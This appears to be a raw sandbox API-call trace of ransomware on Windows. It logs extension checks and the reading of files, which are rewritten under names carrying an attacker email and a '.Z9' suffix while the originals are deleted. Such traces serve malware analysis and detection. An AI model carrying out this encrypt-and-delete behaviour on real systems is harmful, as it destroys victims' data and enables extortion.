	[0069.795] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.795] lstrlenW (lpString=".rar") returned 4
	[0069.795] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.795] lstrlenW (lpString=".bz2") returned 4
	[0069.795] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.795] lstrlenW (lpString=".7z") returned 3
	[0069.795] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.795] lstrlenW (lpString=".dbf") returned 4
	[0069.795] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.795] lstrlenW (lpString=".1cd") returned 4
	[0069.795] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.795] lstrlenW (lpString=".jpg") returned 4
	[0069.795] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.795] lstrlenW (lpString=".doc") returned 4
	[0069.795] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.795] lstrlenW (lpString=".docx") returned 5
	[0069.795] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.795] lstrlenW (lpString=".pdf") returned 4
	[0069.795] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.795] lstrlenW (lpString=".xls") returned 4
	[0069.795] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.795] lstrlenW (lpString=".xlsx") returned 5
	[0069.795] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.795] lstrlenW (lpString=".ppt") returned 4
	[0069.796] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.796] lstrlenW (lpString=".zip") returned 4
	[0069.796] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.796] lstrlenW (lpString=".rar") returned 4
	[0069.796] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.796] lstrlenW (lpString=".bz2") returned 4
	[0069.796] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.796] lstrlenW (lpString=".7z") returned 3
	[0069.796] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.796] lstrlenW (lpString=".dbf") returned 4
	[0069.796] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.796] lstrlenW (lpString=".1cd") returned 4
	[0069.796] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0069.796] lstrlenW (lpString=".jpg") returned 4
	[0069.796] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.796] Sleep (dwMilliseconds=0x64) 
	[0070.087] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.087] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.087] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0070.087] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=77022) returned 1
	[0070.087] CloseHandle (hObject=0x300) returned 1
	[0070.087] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80
	[0070.087] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.087] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0070.087] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.119] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.250] GetLastError () returned 0x0
	[0070.250] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x12cde, lpOverlapped=0x0) returned 1
	[0070.311] WriteFile (in: hFile=0x320, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x12ce0, lpOverlapped=0x0) returned 1
	[0070.315] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.315] WriteFile (in: hFile=0x320, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.315] SetEndOfFile (hFile=0x320) returned 1
	[0070.315] CloseHandle (hObject=0x320) returned 1
	[0070.318] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.318] SetEndOfFile (hFile=0x300) returned 1
	[0070.319] CloseHandle (hObject=0x300) returned 1
	[0070.319] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.320] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1
	[0070.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.320] lstrlenW (lpString=".doc") returned 4
	[0070.320] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.320] lstrlenW (lpString=".docx") returned 5
	[0070.320] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.320] lstrlenW (lpString=".pdf") returned 4
	[0070.320] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.320] lstrlenW (lpString=".xls") returned 4
	[0070.320] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.320] lstrlenW (lpString=".xlsx") returned 5
	[0070.320] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.320] lstrlenW (lpString=".ppt") returned 4
	[0070.320] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.321] lstrlenW (lpString=".zip") returned 4
	[0070.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.321] lstrlenW (lpString=".rar") returned 4
	[0070.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.321] lstrlenW (lpString=".bz2") returned 4
	[0070.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.321] lstrlenW (lpString=".7z") returned 3
	[0070.321] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.321] lstrlenW (lpString=".dbf") returned 4
	[0070.321] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.321] lstrlenW (lpString=".1cd") returned 4
	[0070.321] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.321] lstrlenW (lpString=".jpg") returned 4
	[0070.321] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.321] lstrlenW (lpString=".doc") returned 4
	[0070.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.322] lstrlenW (lpString=".docx") returned 5
	[0070.322] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.322] lstrlenW (lpString=".pdf") returned 4
	[0070.322] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.322] lstrlenW (lpString=".xls") returned 4
	[0070.322] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.322] lstrlenW (lpString=".xlsx") returned 5
	[0070.322] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.322] lstrlenW (lpString=".ppt") returned 4
	[0070.322] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.322] lstrlenW (lpString=".zip") returned 4
	[0070.322] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.322] lstrlenW (lpString=".rar") returned 4
	[0070.322] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.322] lstrlenW (lpString=".bz2") returned 4
	[0070.322] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.322] lstrlenW (lpString=".7z") returned 3
	[0070.322] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.322] lstrlenW (lpString=".dbf") returned 4
	[0070.322] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.322] lstrlenW (lpString=".1cd") returned 4
	[0070.322] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0070.322] lstrlenW (lpString=".jpg") returned 4
	[0070.322] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.322] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.322] lstrlenW (lpString="eula.rtf") returned 8
	[0070.323] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0070.323] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4254) returned 1
	[0070.323] CloseHandle (hObject=0x300) returned 1
	[0070.323] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80
	[0070.323] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.323] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0070.323] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.323] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.323] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.335] GetLastError () returned 0x0
	[0070.335] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x109e, lpOverlapped=0x0) returned 1
	[0070.453] WriteFile (in: hFile=0x2e8, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x10a0, lpOverlapped=0x0) returned 1
	[0070.454] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.454] WriteFile (in: hFile=0x2e8, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.454] SetEndOfFile (hFile=0x2e8) returned 1
	[0070.454] CloseHandle (hObject=0x2e8) returned 1
	[0070.455] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.455] SetEndOfFile (hFile=0x300) returned 1
	[0070.456] CloseHandle (hObject=0x300) returned 1
	[0070.460] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.460] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1
	[0070.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.460] lstrlenW (lpString=".doc") returned 4
	[0070.460] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.460] lstrlenW (lpString=".docx") returned 5
	[0070.460] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.460] lstrlenW (lpString=".pdf") returned 4
	[0070.460] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.460] lstrlenW (lpString=".xls") returned 4
	[0070.460] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.460] lstrlenW (lpString=".xlsx") returned 5
	[0070.460] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.460] lstrlenW (lpString=".ppt") returned 4
	[0070.460] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.460] lstrlenW (lpString=".zip") returned 4
	[0070.461] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.461] lstrlenW (lpString=".rar") returned 4
	[0070.461] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.461] lstrlenW (lpString=".bz2") returned 4
	[0070.461] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.461] lstrlenW (lpString=".7z") returned 3
	[0070.461] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.461] lstrlenW (lpString=".dbf") returned 4
	[0070.461] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.461] lstrlenW (lpString=".1cd") returned 4
	[0070.461] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.461] lstrlenW (lpString=".jpg") returned 4
	[0070.461] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.461] lstrlenW (lpString=".doc") returned 4
	[0070.461] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.461] lstrlenW (lpString=".docx") returned 5
	[0070.461] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.461] lstrlenW (lpString=".pdf") returned 4
	[0070.461] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.461] lstrlenW (lpString=".xls") returned 4
	[0070.461] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.461] lstrlenW (lpString=".xlsx") returned 5
	[0070.461] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.461] lstrlenW (lpString=".ppt") returned 4
	[0070.461] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.461] lstrlenW (lpString=".zip") returned 4
	[0070.461] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.461] lstrlenW (lpString=".rar") returned 4
	[0070.461] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.462] lstrlenW (lpString=".bz2") returned 4
	[0070.462] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.462] lstrlenW (lpString=".7z") returned 3
	[0070.462] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.462] lstrlenW (lpString=".dbf") returned 4
	[0070.462] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.462] lstrlenW (lpString=".1cd") returned 4
	[0070.462] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0070.462] lstrlenW (lpString=".jpg") returned 4
	[0070.462] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.462] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.462] lstrlenW (lpString="eula.rtf") returned 8
	[0070.462] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0070.463] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3643) returned 1
	[0070.463] CloseHandle (hObject=0x300) returned 1
	[0070.463] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80
	[0070.463] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0070.463] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.463] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0070.637] GetLastError () returned 0x0
	[0070.637] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xe3b, lpOverlapped=0x0) returned 1
	[0070.745] WriteFile (in: hFile=0x324, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe40, lpOverlapped=0x0) returned 1
	[0070.746] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.746] WriteFile (in: hFile=0x324, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.746] SetEndOfFile (hFile=0x324) returned 1
	[0070.746] CloseHandle (hObject=0x324) returned 1
	[0070.747] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.747] SetEndOfFile (hFile=0x300) returned 1
	[0070.749] CloseHandle (hObject=0x300) returned 1
	[0070.749] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.749] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1
	[0070.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.750] lstrlenW (lpString=".doc") returned 4
	[0070.750] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.750] lstrlenW (lpString=".docx") returned 5
	[0070.750] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.750] lstrlenW (lpString=".pdf") returned 4
	[0070.750] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.750] lstrlenW (lpString=".xls") returned 4
	[0070.750] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.750] lstrlenW (lpString=".xlsx") returned 5
	[0070.750] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.750] lstrlenW (lpString=".ppt") returned 4
	[0070.750] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.750] lstrlenW (lpString=".zip") returned 4
	[0070.750] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.750] lstrlenW (lpString=".rar") returned 4
	[0070.750] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.750] lstrlenW (lpString=".bz2") returned 4
	[0070.750] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.750] lstrlenW (lpString=".7z") returned 3
	[0070.750] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.751] lstrlenW (lpString=".dbf") returned 4
	[0070.751] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.751] lstrlenW (lpString=".1cd") returned 4
	[0070.751] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.751] lstrlenW (lpString=".jpg") returned 4
	[0070.751] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.751] lstrlenW (lpString=".doc") returned 4
	[0070.751] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.751] lstrlenW (lpString=".docx") returned 5
	[0070.751] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.751] lstrlenW (lpString=".pdf") returned 4
	[0070.751] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.751] lstrlenW (lpString=".xls") returned 4
	[0070.751] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.751] lstrlenW (lpString=".xlsx") returned 5
	[0070.751] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.751] lstrlenW (lpString=".ppt") returned 4
	[0070.751] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.751] lstrlenW (lpString=".zip") returned 4
	[0070.752] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.752] lstrlenW (lpString=".rar") returned 4
	[0070.752] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
